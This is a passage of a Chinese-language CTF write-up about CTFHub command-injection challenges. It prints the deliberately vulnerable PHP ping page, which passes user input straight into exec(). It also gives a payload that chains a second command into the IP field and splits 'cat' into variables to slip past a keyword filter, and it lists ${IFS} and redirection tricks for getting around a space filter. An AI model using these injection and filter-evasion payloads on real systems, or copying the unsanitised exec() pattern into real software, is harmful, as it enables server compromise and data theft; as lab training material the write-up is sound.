先过关,再分析相关的防御源代码
然后cat 301472130920273.php然后查看网页源代码即可得到flag
2.过滤cat
根据题目要求过滤了cat 而该服务器为Linux系统区分大小写 就无法通过大小写来绕过 本来想使用vi命令替换cat命令也能查看到flag中的内容 但是失败了 最后用了替换法:127.0.0.0 ; $a=ca;$b=t; $a$b flagxxxx
题目源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-过滤cat</title>
</head>
<body>
<h1>CTFHub 命令注入-过滤cat</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
过滤空格
先进行过滤空格总结,在linux环境下进行试验1:<>
2:<
3:${IFS}